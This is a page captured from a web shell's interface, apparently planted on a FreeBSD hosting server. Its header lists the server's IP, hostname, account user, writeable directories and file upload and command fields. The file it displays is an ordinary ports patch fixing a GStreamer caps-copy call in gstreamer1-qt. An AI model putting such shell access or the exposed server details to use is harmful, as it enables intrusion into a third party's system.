403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/multimedia/gstreamer1-qt/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/multimedia/gstreamer1-qt/files/patch-src_QGst_caps.cpp
The GStreamer headers #define a version of gst_caps_copy() with the
internal implementation. This prevents the normal C++ type conversion
that would happen when the gst_caps_copy() function is called normally.
Explicitly get the inner pointer (*caps2 doesn't work) to match
the implementation API that is now exposed by the #define.

This patch is needed for GStreamer 1.16+

--- src/QGst/caps.cpp.orig	2014-07-08 18:38:36 UTC
+++ src/QGst/caps.cpp
@@ -54,7 +54,7 @@ QString Caps::toString() const
 
 void Caps::append(const CapsPtr & caps2)
 {
-    gst_caps_append(object<GstCaps>(), gst_caps_copy(caps2));
+    gst_caps_append(object<GstCaps>(), gst_caps_copy(caps2.operator->()));
 }
 
 CapsPtr Caps::merge(CapsPtr & caps2)

Youez - 2016 - github.com/yon3zu
LinuXploit